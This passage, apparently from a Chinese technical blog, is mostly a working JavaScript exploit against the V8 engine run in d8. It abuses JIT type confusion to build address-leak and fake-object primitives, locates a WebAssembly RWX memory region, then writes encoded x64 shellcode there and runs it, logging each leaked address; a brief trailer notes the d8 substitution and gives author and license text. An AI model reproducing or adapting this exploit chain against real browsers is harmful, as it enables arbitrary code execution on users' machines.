                throw Error("Not enough arguments for function " + f.name);
            for (var i = 0; i < arguments.length; i++)
                if (!(arguments[i] instanceof Int64))
                    arguments[i] = new Int64(arguments[i]);
            return f.apply(this, arguments);
        };
    }
    // this = -n (two's complement)
    this.assignNeg = operation(function neg(n) {
        for (var i = 0; i < 8; i++)
            bytes[i] = ~n.byteAt(i);
        return this.assignAdd(this, Int64.One);
    }, 1);
    // this = a + b
    this.assignAdd = operation(function add(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) + b.byteAt(i) + carry;
            carry = cur > 0xff | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);
    // this = a - b
    this.assignSub = operation(function sub(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) - b.byteAt(i) - carry;
            carry = cur < 0 | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
    var bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
    return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
    return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
    return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
function utf8ToString(h, p) {
  let s = "";
  for (i = p; h[i]; i++) {
    s += String.fromCharCode(h[i]);
  }
  return s;
}
let global_var = Array();
let double_map , element_map , double_map_obj , array_map , victim_jsarray,victim_arraybuffer;
let global_tmp = [];

var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]);
var wasmImports = {
  env: {
    puts: function puts (index) {
      console.log(utf8ToString(h, index));
    }
  }
};
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
let f = m.exports.p4nda;
console.log("step 0: Game start");
f();

function exploit(){
    function get_map_opt(x){
        let arr = [1.1,1.2,1.3,1.4];
        let arr_ele = [arr,arr,arr,arr];

        let index = 0;
        if(x = 'p4nda'){index = 4;}
        return [arr[index],arr,arr_ele];
    }
    function get_map(){
        var tmp ;
        for(var i = 0; i< 10000;i++){
            tmp = get_map_opt('test');
        }
        double_map = tmp[0];
        element_map =Add(Int64.fromDouble(double_map), 0xa0).asDouble();
        global_var.push(tmp[1]);
        global_var.push(tmp[2]);
    }
    get_map();
    console.log("double_map:",Int64.fromDouble(double_map));
    console.log("element_map:",Int64.fromDouble(element_map));
    function get_array_map_opt(x){
        let a = Array(2);
        a[0] = 1.1;
        a[1] = 1.2;
        let b = {a0:1.1 , a1:1.1 , a2:1.1 , a3:1.1 , a4:1.1 , a5:1.1 , a6:1.1 , a7:1.1 , a8:1.1 , a9:1.1 , a10:1.1 , a11:1.1 , a12:1.1 , a13:1.1 , a14:1.1 , a15:1.1 , a16:1.1 , a17:1.1 , a18:1.1 , a19:1.1 , a20:1.1 , a21:1.1 , a22:1.1 , a23:1.1 , a24:1.1 , a25:1.1 , a26:1.1 , a27:1.1 , a28:1.1 , a29:1.1};
        let index = 0;
        if(x = 'p4nda'){index = 2;}
        return [a[index],b];
    }

    function get_array_map(){
        for(var i = 0; i< 10000; i++){
            var tmp = get_array_map_opt();
        }
        array_map  = tmp[0];
        global_tmp.push(tmp[1]);
        //%DebugPrint(tmp[1]);
    }
    get_array_map();
    console.log("array_map",Int64.fromDouble(array_map));   
    function prepare_double_map_opt(x){
        let arr = [double_map,double_map,double_map,double_map];
        let index = 0;
        if(x = 'p4nda'){index = 4;}
        arr[index] = element_map;
        return arr;
    }

    function prepare_double_map(){
        var tmp;
        for (var i = 0; i< 10000;i++){
            tmp = prepare_double_map_opt();
        }
        return tmp[1];
    }

    double_map_obj = prepare_double_map();

    function addrof_opt(obj){
        var a = [obj, obj, obj, obj];
        let index = 0;
        if(x = 'p4nda'){index = 4};
        a[index] = double_map_obj; 
        return a;
    }
    function addrof(obj){
        for(var i = 0;i<100000;i++){
            var a = addrof_opt(obj);
        }
        return a[0];
    }
    f_obj_addr = Int64.fromDouble(addrof(f))
    console.log("address of function obj:",f_obj_addr);
    //%DebugPrint(f);
    function get_victim_obj_opt(x){
        let b = [11.1,1.1];     
        let index = 0;
        if (x = 'p4nda'){index = 2;}
        b[index] = array_map;
        console.log(b.length);
        return b;

    }
    function get_victim_obj(){
        for (var i = 0 ; i < 10000; i++){
            var tmp = get_victim_obj_opt();
        }
        victim_arraybuffer = new ArrayBuffer(0x100);
        victim_jsarray = tmp;
    }

    get_victim_obj();
    //%DebugPrint(victim_jsarray);
    //%DebugPrint(victim_arraybuffer);
    console.log(Int64.fromDouble(victim_jsarray.a5));
    victim_jsarray.a5 = f_obj_addr.asDouble();
    let dv = new DataView(victim_arraybuffer);
    SharedFunctionInfo_addr = Int64.fromDouble(dv.getFloat64(0x17,true));
    console.log("[+] SharedFunctionInfo addr :"+SharedFunctionInfo_addr);
    victim_jsarray.a5 = SharedFunctionInfo_addr.asDouble();
    WasmExportedFunctionData_addr =  Int64.fromDouble(dv.getFloat64(0x7,true));
    console.log("[+] WasmExportedFunctionData addr :"+WasmExportedFunctionData_addr); 
    //let tmp = addrof(f);
    victim_jsarray.a5 = WasmExportedFunctionData_addr.asDouble();   
    WasmInstanceObject_addr =  Int64.fromDouble(dv.getFloat64(0xf,true));
    console.log("[+] WasmInstanceObject addr :"+WasmInstanceObject_addr);   

    victim_jsarray.a5 = WasmInstanceObject_addr.asDouble(); 
    imported_function_targets_addr =  Int64.fromDouble(dv.getFloat64(0x3f,true));
    console.log("[+] imported_function_targets addr :"+imported_function_targets_addr);

    victim_jsarray.a5 = imported_function_targets_addr.asDouble();
    rwx_area = Int64.fromDouble(dv.getFloat64(0,true));
    console.log("[+] rwx_area addr :"+rwx_area);
    victim_jsarray.a5 = rwx_area.asDouble();
    let shellcode_calc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];
    let write_tmp = new Uint8Array(victim_arraybuffer);
    write_tmp.set(shellcode_calc);
    console.log("[+] Enter to pop up a calc ... ");
    readline();

    f();
}

exploit();

由于chromium编译太慢了,用d8代替结果:

关键词:[‘技术文章’, ‘技术文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

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